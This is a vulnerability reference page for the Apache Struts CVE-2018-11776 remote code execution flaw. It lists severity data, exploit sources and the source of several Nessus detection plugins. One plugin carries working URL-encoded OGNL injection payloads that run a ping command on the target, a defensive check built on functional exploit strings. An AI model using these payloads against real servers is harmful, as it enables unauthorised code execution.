Vulnerabilities > CVE-2018-11776

047910
CVSS 8.1 - HIGH
Attack vector
NETWORK
Attack complexity
HIGH
Privileges required
NONE
Confidentiality impact
HIGH
Integrity impact
HIGH
Availability impact
HIGH
network
high complexity
apache
netapp
oracle
nessus
exploit available
metasploit

Summary

Apache Struts versions 2.3 to 2.3.34 and 2.5 to 2.5.16 suffer from possible Remote Code Execution when alwaysSelectFullNamespace is true (either by user or a plugin like Convention Plugin) and then: results are used with no namespace and in same time, its upper package have no or wildcard namespace and similar to results, same possibility when using url tag which doesn't have value and action set and in same time, its upper package have no or wildcard namespace.

Vulnerable Configurations

Part Description Count
Application
Apache
98
Application
Netapp
11
Application
Oracle
129

D2sec

nameApache Struts 2 Multiple Tags Result Namespace Handling RCE
urlhttp://www.d2sec.com/exploits/apache_struts_2_multiple_tags_result_namespace_handling_rce.html

Exploit-Db

  • descriptionApache Struts 2.3 < 2.3.34 / 2.5 < 2.5.16 - Remote Code Execution (2). CVE-2018-11776. Remote exploit for Multiple platform
    fileexploits/multiple/remote/45262.py
    idEDB-ID:45262
    last seen2018-08-27
    modified2018-08-25
    platformmultiple
    port8080
    published2018-08-25
    reporterExploit-DB
    sourcehttps://www.exploit-db.com/download/45262/
    titleApache Struts 2.3 < 2.3.34 / 2.5 < 2.5.16 - Remote Code Execution (2)
    typeremote
  • descriptionApache Struts 2.3 < 2.3.34 / 2.5 < 2.5.16 - Remote Code Execution (1). CVE-2018-11776. Remote exploit for Linux platform
    fileexploits/linux/remote/45260.py
    idEDB-ID:45260
    last seen2018-08-27
    modified2018-08-26
    platformlinux
    port8080
    published2018-08-26
    reporterExploit-DB
    sourcehttps://www.exploit-db.com/download/45260/
    titleApache Struts 2.3 < 2.3.34 / 2.5 < 2.5.16 - Remote Code Execution (1)
    typeremote
  • descriptionApache Struts 2 - Namespace Redirect OGNL Injection (Metasploit). CVE-2018-11776. Remote exploit for Multiple platform. Tags: Metasploit Framework (MSF), Remote
    fileexploits/multiple/remote/45367.rb
    idEDB-ID:45367
    last seen2018-10-07
    modified2018-09-10
    platformmultiple
    port
    published2018-09-10
    reporterExploit-DB
    sourcehttps://www.exploit-db.com/download/45367/
    titleApache Struts 2 - Namespace Redirect OGNL Injection (Metasploit)
    typeremote

Metasploit

descriptionThis module exploits a remote code execution vulnerability in Apache Struts version 2.3 - 2.3.4, and 2.5 - 2.5.16. Remote Code Execution can be performed via an endpoint that makes use of a redirect action. Note that this exploit is dependant on the version of Tomcat running on the target. Versions of Tomcat starting with 7.0.88 currently don't support payloads larger than ~7.5kb. Windows Meterpreter sessions on Tomcat >=7.0.88 are currently not supported. Native payloads will be converted to executables and dropped in the server's temp dir. If this fails, try a cmd/* payload, which won't have to write to the disk.
idMSF:EXPLOIT/MULTI/HTTP/STRUTS2_NAMESPACE_OGNL
last seen2020-06-14
modified2018-12-14
published2018-08-31
references
reporterRapid7
sourcehttps://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/multi/http/struts2_namespace_ognl.rb
titleApache Struts 2 Namespace Redirect OGNL Injection

Nessus

  • NASL familyCGI abuses
    NASL idSTRUTS_2_5_17_RCE.NASL
    descriptionThe version of Apache Struts running on the remote host is affected by a remote code execution vulnerability in the handling of results with no namespace set. An unauthenticated, remote attacker can exploit this, via a specially crafted HTTP request, to potentially execute arbitrary code, subject to the privileges of the web server user.
    last seen2020-06-01
    modified2020-06-02
    plugin id112064
    published2018-08-23
    reporterThis script is Copyright (C) 2018-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/112064
    titleApache Struts CVE-2018-11776 Results With No Namespace Remote Code Execution (S2-057) (remote)
    code
    #
    # (C) Tenable Network Security, Inc.
    #
    
    include("compat.inc");
    
    if (description)
    {
      script_id(112064);
      script_version("1.15");
      script_set_attribute(attribute:"plugin_modification_date", value:"2020/06/12");
    
      script_cve_id("CVE-2018-11776");
      script_bugtraq_id(105125);
    
      script_name(english:"Apache Struts CVE-2018-11776 Results With No Namespace Remote Code Execution (S2-057) (remote)");
      script_summary(english:"Attempts to execute arbitrary commands on the remote web server.");
    
      script_set_attribute(attribute:"synopsis", value:
    "The remote web server contains a web application that uses a Java
    framework that is affected by a remote code execution vulnerability.");
      script_set_attribute(attribute:"description", value:
    "The version of Apache Struts running on the remote host is affected by
    a remote code execution vulnerability in the handling of results with
    no namespace set. An unauthenticated, remote attacker can exploit this,
    via a specially crafted HTTP request, to potentially execute arbitrary
    code, subject to the privileges of the web server user.");
      # https://www.tenable.com/blog/new-apache-struts-vulnerability-could-allow-for-remote-code-execution
      script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?a21304a0");
      script_set_attribute(attribute:"see_also", value:"https://cwiki.apache.org/confluence/display/WW/S2-057");
      script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/2018/Aug/46");
      script_set_attribute(attribute:"see_also", value:"https://semmle.com/news/apache-struts-CVE-2018-11776");
      script_set_attribute(attribute:"see_also", value:"https://lgtm.com/blog/apache_struts_CVE-2018-11776");
      script_set_attribute(attribute:"solution", value:
    "Upgrade to Apache Struts version 2.3.35 / 2.5.17 or later.");
      script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C");
      script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
      script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H");
      script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");
      script_set_attribute(attribute:"cvss_score_source", value:"CVE-2018-11776");
      script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
      script_set_attribute(attribute:"exploit_available", value:"true");
      script_set_attribute(attribute:"d2_elliot_name", value:"Apache Struts 2 Multiple Tags Result Namespace Handling RCE");
      script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
      script_set_attribute(attribute:"metasploit_name", value:'Apache Struts 2 Namespace Redirect OGNL Injection');
      script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
    
      script_set_attribute(attribute:"vuln_publication_date", value:"2018/08/22");
      script_set_attribute(attribute:"patch_publication_date", value:"2018/08/22");
      script_set_attribute(attribute:"plugin_publication_date", value:"2018/08/23");
    
      script_set_attribute(attribute:"plugin_type", value:"remote");
      script_set_attribute(attribute:"cpe", value:"cpe:/a:apache:struts");
      script_set_attribute(attribute:"exploited_by_nessus", value:"true");
      script_set_attribute(attribute:"in_the_news", value:"true");
      script_end_attributes();
    
      script_category(ACT_ATTACK);
      script_family(english:"CGI abuses");
    
      script_copyright(english:"This script is Copyright (C) 2018-2020 and is owned by Tenable, Inc. or an Affiliate thereof.");
    
      script_dependencies("http_version.nasl", "webmirror.nasl", "os_fingerprint.nasl");
      script_require_ports("Services/www", 80, 8080);
      script_exclude_keys("Settings/disable_cgi_scanning");
    
      exit(0);
    }
    
    include("audit.inc");
    include("global_settings.inc");
    include("http.inc");
    include("misc_func.inc");
    include("torture_cgi.inc");
    include("url_func.inc");
    
    port = get_http_port(default:8080);
    cgis = get_kb_list('www/' + port + '/cgi');
    
    urls = make_list();
    # To identify actions that we can test the exploit on we will look
    # for files with the .action / .jsp / .do suffix from the KB.
    if (!isnull(cgis))
    {
      foreach cgi (cgis)
      {
        match = pregmatch(pattern:"((^.*)(/.+\.act(ion)?)($|\?|;))", string:cgi);
        if (match)
        {
          urls = make_list(urls, match[0]);
          if (!thorough_tests) break;
        }
        match2 = pregmatch(pattern:"(^.*)(/.+\.jsp)$", string:cgi);
        if (!isnull(match2))
        {
          urls = make_list(urls, match2[0]);
          if (!thorough_tests) break;
        }
        match4 = pregmatch(pattern:"(^.*)(/.+\.do)$", string:cgi);
        if (!isnull(match4))
        {
          urls = make_list(urls, match4[0]);
          if (!thorough_tests) break;
        }
        if (cgi =~ "struts2?(-rest)?-showcase")
        {
          urls = make_list(urls, cgi);
          if (!thorough_tests) break;
        }
      }
    }
    
    if (thorough_tests)
    {
      cgi2 = get_kb_list('www/' + port + '/content/extensions/act*');
      if (!isnull(cgi2)) urls = make_list(urls, cgi2);
    
      cgi3 = get_kb_list('www/' + port + '/content/extensions/jsp');
      if (!isnull(cgi3)) urls = make_list(urls, cgi3);
    
      cgi4 = get_kb_list('www/' + port + '/content/extensions/do');
      if (!isnull(cgi4)) urls = make_list(urls, cgi4);
    }
    
    # Always check web root
    urls = make_list(urls, "/");
    
    # Struts is slow
    timeout = get_read_timeout() * 2;
    if(timeout < 10)
      timeout = 10;
    http_set_read_timeout(timeout);
    
    urls = list_uniq(urls);
    scanner_ip = compat::this_host();
    target_ip = get_host_ip();
    vuln = FALSE;
    
    ua = get_kb_item("global_settings/http_user_agent");
    if (empty_or_null(ua))
      ua = 'Nessus';
    
    pat = hexstr(rand_str(length:10));
    
    os = get_kb_item("Host/OS");
    if (!empty_or_null(os) && "windows" >< tolower(os))
    {
      ping_cmd = "ping%20-n%203%20-l%20500%20" + scanner_ip;
      filter = "icmp and icmp[0] = 8 and src host " + target_ip + " and greater 500";
    }
    else
    {
      ping_cmd = "ping%20-c%203%20-p%20" + pat + "%20" + scanner_ip;
      filter = "icmp and icmp[0] = 8 and src host " + target_ip;
    }
    
    payload_redirect = "%24%7B%7B57550614+16044095%7D%7D/";
    payload_redirect_verify_regex = "Location: .*\[73594709\]";
    
    payload_2_2 = "%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%[email protected]@getRuntime%28%29.exec%28%27" + ping_cmd + "%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%[email protected]@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D/";
    
    payload_2_3 = "%24%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23cmd%3D%40java.lang.Runtime%40getRuntime%28%29.exec%28%27" + ping_cmd + "%27%29%29%7D/";
    
    function namespace_inject(url, payload)
    {
      local_var bits, last, attack_url;
    
      # find the last / and put it after
      bits = split(url, sep:"/", keep:TRUE);
      last = max_index(bits) - 1;
      for (i=0;i<last;i++)
        attack_url = attack_url + bits[i];
      attack_url = attack_url + payload;
      attack_url = attack_url + bits[last];
    
      return attack_url;
    }
    
    foreach url (urls)
    {
      # first we try the 2.3.x payload
      soc = open_sock_tcp(port);
      if (!soc) audit(AUDIT_SOCK_FAIL, port);
    
      attack_url = namespace_inject(url:url, payload:payload_2_3);
    
      req =
        'GET ' + attack_url + ' HTTP/1.1\n' +
        'Host: ' + target_ip + ':' + port + '\n' +
        'User-Agent: ' + ua + '\n' +
        '\n';
    
      s = send_capture(socket:soc,data:req,pcap_filter:filter,timeout:timeout);
      icmp = tolower(hexstr(get_icmp_element(icmp:s,element:"data")));
      close(soc);
    
      if ("windows" >< tolower(os) && !isnull(icmp))
      {
        vuln = TRUE;
        vuln_url = req;
        report =
          '\nNessus confirmed this issue by examining ICMP traffic. '+
          'Below is the response :' +
          '\n\n' + snip +
          '\n' + icmp +
          '\n' + snip +
          '\n';
        break;
      }
      else if (pat >< icmp)
      {
        vuln = TRUE;
        vuln_url = req;
        report =
          '\nNessus confirmed this issue by examining ICMP traffic and looking for'+
          '\nthe pattern sent in our packet (' + pat + '). Below is the response :'+
          '\n\n' + snip +
          '\n' + icmp +
          '\n' + snip +
          '\n';
        break;
      }
    
      # next we try the 2.2.x payload
      soc = open_sock_tcp(port);
      if (!soc) audit(AUDIT_SOCK_FAIL, port);
    
      attack_url = namespace_inject(url:url, payload:payload_2_2);
    
      req =
        'GET ' + attack_url + ' HTTP/1.1\n' +
        'Host: ' + target_ip + ':' + port + '\n' +
        'User-Agent: ' + ua + '\n' +
        '\n';
    
      s = send_capture(socket:soc,data:req,pcap_filter:filter,timeout:timeout);
      icmp = tolower(hexstr(get_icmp_element(icmp:s,element:"data")));
      close(soc);
    
      if ("windows" >< tolower(os) && !isnull(icmp))
      {
        vuln = TRUE;
        vuln_url = req;
        report =
          '\nNessus confirmed this issue by examining ICMP traffic. '+
          'Below is the response :' +
          '\n\n' + snip +
          '\n' + icmp +
          '\n' + snip +
          '\n';
        break;
      }
      else if (pat >< icmp)
      {
        vuln = TRUE;
        vuln_url = req;
        report =
          '\nNessus confirmed this issue by examining ICMP traffic and looking for'+
          '\nthe pattern sent in our packet (' + pat + '). Below is the response :'+
          '\n\n' + snip +
          '\n' + icmp +
          '\n' + snip +
          '\n';
        break;
      }
    
      # and finally, we try a simple redirect namespace injection
      attack_url = namespace_inject(url:url, payload:payload_redirect);
    
      res = http_send_recv3(
        method       : "GET",
        item         : attack_url,
        port         : port,
        exit_on_fail : TRUE,
        follow_redirect: 0
      );
    
      if (res[1] =~ payload_redirect_verify_regex)
      {
        vuln = TRUE;
        vuln_url = attack_url;
        report =
          '\nNessus confirmed this issue by injecting a simple OGNL addition payload'+
          '\n( ${{57550614+16044095}} ) into a redirect action namespace. Below is' +
          '\nthe response :'+
          '\n\n' + snip +
          '\n' + res[1] +
          '\n' + snip +
          '\n';
        break;
      }
    
      # Stop after first vulnerable Struts app is found
      if (vuln) break;
    }
    
    if (!vuln) exit(0, 'No vulnerable applications were detected on the web server listening on port '+port+'.');
    
    security_report_v4(
      port       : port,
      severity   : SECURITY_HOLE,
      generic    : TRUE,
      request    : make_list(vuln_url),
      output     : report
    );
    
  • NASL familyCISCO
    NASL idCISCO-SA-20180823-APACHE-STRUTS-CUPS.NASL
    descriptionAccording to its self-reported version, the Cisco Unified Communications Manager IM & Presence Service is affected by a Remote Code Execution vulnerability. Please see the included Cisco BIDs and the Cisco Security Advisory for more information.
    last seen2020-06-01
    modified2020-06-02
    plugin id112288
    published2018-09-05
    reporterThis script is Copyright (C) 2018-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/112288
    titleCisco Unified Communications Manager IM & Presence Service Apache Struts RCE (CSCvm14049)
    code
    #TRUSTED 550199f15d74ef715d6f7a261c0880a253f35b3119626b7f2278b0324cddf7b2cd2b8d1bf8ad7e7b5fbc30267cd751f3f72890730cb3a052803fc082187bd81c8bdee722f9e924c1d946fe6764075a74dbdc34b1baf655b6de242939e2313d5f8a5ba869428138f914448906a0bc1cc0918a94a19971873ac2e1897bb9607212c61557f006b05c6f23492c994224fd1fca14c2b237d2f6e8e4dac111fce9b4067d588a767811a3b2d39d5b19968b5613b600249c958bbbf7f23fe8f19b781f7b59e1cbd6c83a096cecb81cf83abc52fddb34e2558f7f1e6e12bbb1401c7936041b5c58723a75bf4f727822f916030bdaa3f51ee5c3a4b9843e877618e42ec872d20a19fd2d54c95d639d18252236aca1241e846cdc9a5aa6d6fb9bb9b49ae5b49ba4dd67f119f2aa0b91ab2965c215e0de3ecc3ad43f0646045b20b6eada81d91c7cecb9cd0bd70d73dc49cd4cdd45a98204c8cc96907522a8d764b2cd1c407249ec0c15a48650083dad05b5f4ad91f8ce61b908a331519bacf5ce310679b58b7dc9057369a5787c0f700c2d5ef3ee748d7c0d0738d2cd384c51415da870e7dd45816de819bad30a131b291af147bc1eecbed1ef9206c525141cc63475f3329e2cd5ae60400d5dd13607430998e00f4c3550fe04c8d2c9f54208e1a88d32c77579d72ce29e0151e216a6b60a82ebb55f398cf15b977f43ec9e8162d5a39ba7a7
    #
    # (C) Tenable Network Security, Inc.
    #
    
    include("compat.inc");
    
    if (description)
    {
      script_id(112288);
      script_version("1.10");
      script_cvs_date("Date: 2019/12/20");
    
      script_cve_id("CVE-2018-11776");
      script_bugtraq_id(105125);
      script_xref(name:"CISCO-BUG-ID", value:"CSCvm14049");
      script_xref(name:"CISCO-SA", value:"cisco-sa-20180823-apache-struts");
    
      script_name(english:"Cisco Unified Communications Manager IM & Presence Service Apache Struts RCE (CSCvm14049)");
      script_summary(english:"Checks the Cisco Unified Communications Manager version.");
    
      script_set_attribute(attribute:"synopsis", value:
    "The remote device is missing a vendor-supplied security patch.");
      script_set_attribute(attribute:"description", value:
    "According to its self-reported version, the Cisco Unified
    Communications Manager IM & Presence Service is affected by a Remote
    Code Execution vulnerability. Please see the included Cisco BIDs and
    the Cisco Security Advisory for more information.");
      # https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180823-apache-struts
      script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?56a0e547");
      script_set_attribute(attribute:"see_also", value:"https://bst.cloudapps.cisco.com/bugsearch/bug/CSCvm14049");
      script_set_attribute(attribute:"solution", value:
    "Upgrade to the relevant fixed version referenced in Cisco bug ID
    CSCvm14049.");
      script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C");
      script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
      script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H");
      script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");
      script_set_attribute(attribute:"cvss_score_source", value:"CVE-2018-11776");
    
      script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
      script_set_attribute(attribute:"exploit_available", value:"true");
      script_set_attribute(attribute:"d2_elliot_name", value:"Apache Struts 2 Multiple Tags Result Namespace Handling RCE");
      script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
      script_set_attribute(attribute:"metasploit_name", value:'Apache Struts 2 Namespace Redirect OGNL Injection');
      script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
    
      script_set_attribute(attribute:"vuln_publication_date", value:"2018/08/23");
      script_set_attribute(attribute:"patch_publication_date", value:"2018/08/23");
      script_set_attribute(attribute:"plugin_publication_date", value:"2018/09/05");
    
      script_set_attribute(attribute:"plugin_type", value:"local");
      script_set_attribute(attribute:"cpe", value:"cpe:/a:cisco:unified_communications_manager_im_and_presence_service");
      script_set_attribute(attribute:"cpe", value:"cpe:/a:cisco:unified_communications_manager");
      script_set_attribute(attribute:"cpe", value:"cpe:/a:cisco:unified_presence_server");
      script_end_attributes();
    
      script_category(ACT_GATHER_INFO);
      script_family(english:"CISCO");
    
      script_copyright(english:"This script is Copyright (C) 2018-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
    
      script_dependencies("ssh_get_info.nasl");
      script_require_keys("Host/UCOS/Cisco Unified Presence/version");
    
      exit(0);
    }
    
    include("audit.inc");
    include("cisco_workarounds.inc");
    include("ccf.inc");
    
    product_info = cisco::get_product_info(name:"Cisco Unified Presence");
    
    version_list = make_list('11.0.1', '11.5.1', '12.0.1');
    
    workarounds = make_list(CISCO_WORKAROUNDS['no_workaround']);
    workaround_params = make_list();
    
    reporting = make_array(
      'port'     , 0,
      'severity' , SECURITY_HOLE,
      'version'  , product_info['version'],
      'bug_id'   , "CSCvm14049");
    
    cisco::check_and_report(product_info:product_info, workarounds:workarounds, workaround_params:workaround_params, reporting:reporting, vuln_versions:version_list);
    
  • NASL familyCISCO
    NASL idCISCO-SA-20180823-APACHE-STRUTS-ISE.NASL
    descriptionAccording to its self-reported version, the Cisco Identity Services Engine Software is affected by a struts2 namespace vulnerability. Please see the included Cisco BID and the Cisco Security Advisory for more information.
    last seen2020-06-01
    modified2020-06-02
    plugin id112219
    published2018-08-31
    reporterThis script is Copyright (C) 2018-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/112219
    titleCisco Identity Services Engine Struts2 Namespace Vulnerability
    code
    #TRUSTED 7242b75885a6b5b050c1df27b212a08e1d4a9959d429ac0175a5aed8349d84ff35f31c36076b8c5f1a4d63e101974fc5b6ebb535494e41983680bb84c814daa5f15a3bd2830d47f6c214562878f2fc4d0dda73429c8c0afdabe6159ada8d521a9b78eb296fa7a4ed92bf1bf1b05997990dd44eb20ffcc9c8ac7ddf59341203213f31a035e898f0163fe930c55edb612c2834c757eba8cdd8a9ad29f07a76d40071f64f5cf7a550f3b6b531eb42818c760b53564b67b4c03568c8c43beef15d57d34f4c04af89ed6f748b78575d481726f7621c4c3e7941c9fb58bfa8e76f66f8b1f9791c1ae6818d757691f5e93908869ae2d1cd5bcb6e75efbac4f670d5ff8f3fbc0200a3b7264a5c689b57c296e6d253d97f09b00058ef6604eb50dece8a1d762a1d5ac91ae72a1d6acfe539f508fe47e9ececcfe970c20b505c08d8b9772d80ef5fad1aa2477f0f73b6dd950b894f6682d30c3f63c71d624f67956a1c8e1b47418a9fbb6315e2ec30c81fec76b637327ceb1c6f7e63db82aae872f09ddf895301fd9fee92da0e895631b8d02f84a713f84a2a68aef0b6a77cc177d7edda1e3faf54bab03f5b251d486274a44a103a1b660947a6a089741ab03447114dd41c9fa8e6ad0010f731ac74783a2dc11802bb96eaf0042d2370057a29a43be732c8270cc2b79f3eb19a90c85caf29326dcea89ecd261031c18ea7ba17d37df5cc99
    #
    # (C) Tenable Network Security, Inc.
    #
    
    include("compat.inc");
    
    if (description)
    {
      script_id(112219);
      script_version("1.11");
      script_cvs_date("Date: 2019/12/20");
    
      script_cve_id("CVE-2018-11776");
      script_xref(name:"CISCO-BUG-ID", value:"CSCvm14030");
      script_xref(name:"CISCO-SA", value:"cisco-sa-20180823-apache-struts");
    
      script_name(english:"Cisco Identity Services Engine Struts2 Namespace Vulnerability");
      script_summary(english:"Checks the Cisco Identity Services Engine Software version.");
    
      script_set_attribute(attribute:"synopsis", value:
    "The remote device is missing a vendor-supplied security patch.");
      script_set_attribute(attribute:"description", value:
    "According to its self-reported version, the Cisco Identity Services
    Engine Software is affected by a struts2 namespace vulnerability.
    Please see the included Cisco BID and the Cisco Security Advisory for
    more information.");
      # https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180823-apache-struts
      script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?56a0e547");
      script_set_attribute(attribute:"see_also", value:"https://bst.cloudapps.cisco.com/bugsearch/bug/CSCvm14030");
      script_set_attribute(attribute:"solution", value:
    "Upgrade to the relevant fixed version referenced in Cisco bug ID
    CSCvm14030.");
      script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C");
      script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
      script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H");
      script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");
      script_set_attribute(attribute:"cvss_score_source", value:"CVE-2018-11776");
      script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
      script_set_attribute(attribute:"exploit_available", value:"true");
      script_set_attribute(attribute:"d2_elliot_name", value:"Apache Struts 2 Multiple Tags Result Namespace Handling RCE");
      script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
      script_set_attribute(attribute:"metasploit_name", value:'Apache Struts 2 Namespace Redirect OGNL Injection');
      script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
    
    
      script_set_attribute(attribute:"vuln_publication_date", value:"2018/08/28");
      script_set_attribute(attribute:"patch_publication_date", value:"2018/08/28");
      script_set_attribute(attribute:"plugin_publication_date", value:"2018/08/31");
    
      script_set_attribute(attribute:"plugin_type", value:"local");
      script_set_attribute(attribute:"cpe", value:"cpe:/o:cpe:/h:cisco:identity_services_engine");
      script_end_attributes();
    
      script_category(ACT_GATHER_INFO);
      script_family(english:"CISCO");
    
      script_copyright(english:"This script is Copyright (C) 2018-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
    
      script_dependencies("cisco_ise_detect.nbin");
      script_require_keys("Host/Cisco/ISE/version");
    
      exit(0);
    }
    
    include("audit.inc");
    include("cisco_workarounds.inc");
    include("ccf.inc");
    
    product_info = cisco::get_product_info(name:"Cisco Identity Services Engine Software");
    
    vuln_ranges = [
      { 'min_ver' : '2.0.0.0', 'fix_ver' : '2.0.0.306' },
      { 'min_ver' : '2.0.1.0', 'fix_ver' : '2.0.1.130' },
      { 'min_ver' : '2.1.0.0', 'fix_ver' : '2.1.0.474' },
      { 'min_ver' : '2.2.0.0', 'fix_ver' : '2.2.0.470' },
      { 'min_ver' : '2.3.0.0', 'fix_ver' : '2.3.0.298' },
      { 'min_ver' : '2.4.0.0', 'fix_ver' : '2.4.0.357' }
    ];
    
    workarounds = make_list(CISCO_WORKAROUNDS['no_workaround']);
    workaround_params = make_list();
    
    # ISE version doesn't change when patches are installed, so even if
    # they are on the proper version we have to double check patch level
    required_patch = '';
    if      (product_info['version'] =~ "^2\.4\.0($|[^0-9])") required_patch = '2';
    if      (product_info['version'] =~ "^2\.3\.0($|[^0-9])") required_patch = '4';
    if      (product_info['version'] =~ "^2\.2\.0($|[^0-9])") required_patch = '9';
    else if (product_info['version'] =~ "^2\.1\.0($|[^0-9])") required_patch = '7';
    else if (product_info['version'] =~ "^2\.0\.1($|[^0-9])") required_patch = '7';
    else if (product_info['version'] =~ "^2\.0($|[^0-9])")    required_patch = '7';
    
    reporting = make_array(
      'port'     , 0,
      'severity' , SECURITY_HOLE,
      'version'  , product_info['version'],
      'bug_id'   , "CSCvm14030",
      'fix'      , 'See advisory'
    );
    
    # uses required_patch parameters set by above version ranges
    cisco::check_and_report(product_info:product_info, reporting:reporting, workarounds:workarounds, workaround_params:workaround_params, vuln_ranges:vuln_ranges, required_patch:required_patch);
    
  • NASL familyMisc.
    NASL idSTRUTS_2_5_17.NASL
    descriptionThe version of Apache Struts running on the remote host is 2.3.x prior to 2.3.35, or 2.5.x prior to 2.5.17. It, therefore, contains a possible remote code execution vulnerability when results are used without setting a namespace along with an upper action that does not have a namespace set or has a wildcard namespace set. Note that Nessus has not tested for these issues but has instead relied only on the application
    last seen2020-06-01
    modified2020-06-02
    plugin id112036
    published2018-08-22
    reporterThis script is Copyright (C) 2018-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/112036
    titleApache Struts CVE-2018-11776 Results With No Namespace Possible Remote Code Execution (S2-057)
    code
    #
    # (C) Tenable Network Security, Inc.
    #
    
    include("compat.inc");
    
    if (description)
    {
      script_id(112036);
      script_version("1.12");
      script_cvs_date("Date: 2019/04/08 10:48:58");
    
      script_cve_id("CVE-2018-11776");
      script_bugtraq_id(105125);
    
      script_name(english:"Apache Struts CVE-2018-11776 Results With No Namespace Possible Remote Code Execution (S2-057)");
      script_summary(english:"Checks the Struts 2 version.");
    
      script_set_attribute(attribute:"synopsis", value:
    "A web application running on the remote host uses a Java framework
    that is affected by a possible remote code execution.");
      script_set_attribute(attribute:"description", value:
    "The version of Apache Struts running on the remote host is 2.3.x
    prior to 2.3.35, or 2.5.x prior to 2.5.17. It, therefore, contains a
    possible remote code execution vulnerability when results are used
    without setting a namespace along with an upper action that does not
    have a namespace set or has a wildcard namespace set.
    
    Note that Nessus has not tested for these issues but has instead
    relied only on the application's self-reported version number.");
      script_set_attribute(attribute:"see_also", value:"https://cwiki.apache.org/confluence/display/WW/S2-057");
      script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/2018/Aug/46");
      script_set_attribute(attribute:"see_also", value:"https://semmle.com/news/apache-struts-CVE-2018-11776");
      script_set_attribute(attribute:"see_also", value:"https://lgtm.com/blog/apache_struts_CVE-2018-11776");
      script_set_attribute(attribute:"solution", value:
    "Upgrade to Apache Struts version 2.3.35 or 2.5.17 or later");
      script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C");
      script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
      script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H");
      script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");
      script_set_attribute(attribute:"cvss_score_source", value:"CVE-2018-11776");
      script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
      script_set_attribute(attribute:"exploit_available", value:"true");
      script_set_attribute(attribute:"d2_elliot_name", value:"Apache Struts 2 Multiple Tags Result Namespace Handling RCE");
      script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
      script_set_attribute(attribute:"metasploit_name", value:'Apache Struts 2 Namespace Redirect OGNL Injection');
      script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
    
      script_set_attribute(attribute:"vuln_publication_date", value:"2018/08/22");
      script_set_attribute(attribute:"patch_publication_date", value:"2018/08/22");
      script_set_attribute(attribute:"plugin_publication_date", value:"2018/08/22");
    
      script_set_attribute(attribute:"agent", value:"all");
      script_set_attribute(attribute:"plugin_type", value:"combined");
      script_set_attribute(attribute:"cpe", value:"cpe:/a:apache:struts");
      script_set_attribute(attribute:"potential_vulnerability", value:"true");
      script_end_attributes();
    
      script_category(ACT_GATHER_INFO);
      script_family(english:"Misc.");
    
      script_copyright(english:"This script is Copyright (C) 2018-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
    
      script_dependencies("os_fingerprint.nasl", "struts_detect_win.nbin", "struts_detect_nix.nbin", "struts_config_browser_detect.nbin");
      script_require_keys("Settings/ParanoidReport");
